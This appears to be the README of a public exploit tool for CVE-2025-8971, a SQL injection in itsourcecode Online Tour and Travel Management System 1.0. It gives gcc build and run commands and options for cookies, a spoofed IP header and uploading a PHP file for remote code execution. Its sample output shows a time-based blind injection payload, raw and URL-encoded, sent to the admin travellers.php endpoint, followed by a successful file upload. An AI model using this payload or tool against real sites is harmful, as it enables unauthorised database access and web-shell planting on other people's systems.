
Sql injection in itsourcecode Online Tour and Travel Management System 1.0.
Author: Byte Reaper
This exploit for CVE-2025-8971, a SQL injection vulnerability in itsourcecode Online Tour and Travel Management System 1.0. The vulnerability exists in /admin/operations/travellers.php and can be exploited remotely via the val-username parameter.
How It Works
The exploit sends crafted HTTP POST requests to the target URL.
Payloads are encoded and injected into val-username.
Optional file upload (.php or image) can be used to achieve remote code execution.
The script verifies responses to check if the payload was successfully executed.
GCC compiler (gcc)
Linux x86_64
ibcurl
gcc script.c argparse.c -o CVE-2025-8971 -lcurl
./CVE-2025-8971 -u http://<target> -v [verbose mode]
-h, --help help message
-u, --url Target Url (BASE URL)
-c, --cookies File cookies
-i, --ip Fake Ip (Host request)
-f, --file File upload (.php / image)
-v, --verbose Verbose Mode
[+] Start encode Payload in Request (username=)
[+] Encode Payload : AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))bAKL)%20AND%20'b'='b'
[+] Original Payload (Not encode) : AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'b'='b'
[+] POST Request Sent
[+] FULL URL : http://127.0.0.1/code/admin/operations/travellers.php
[+] File Upload : test.php
[+] File written successfully
....
MIT License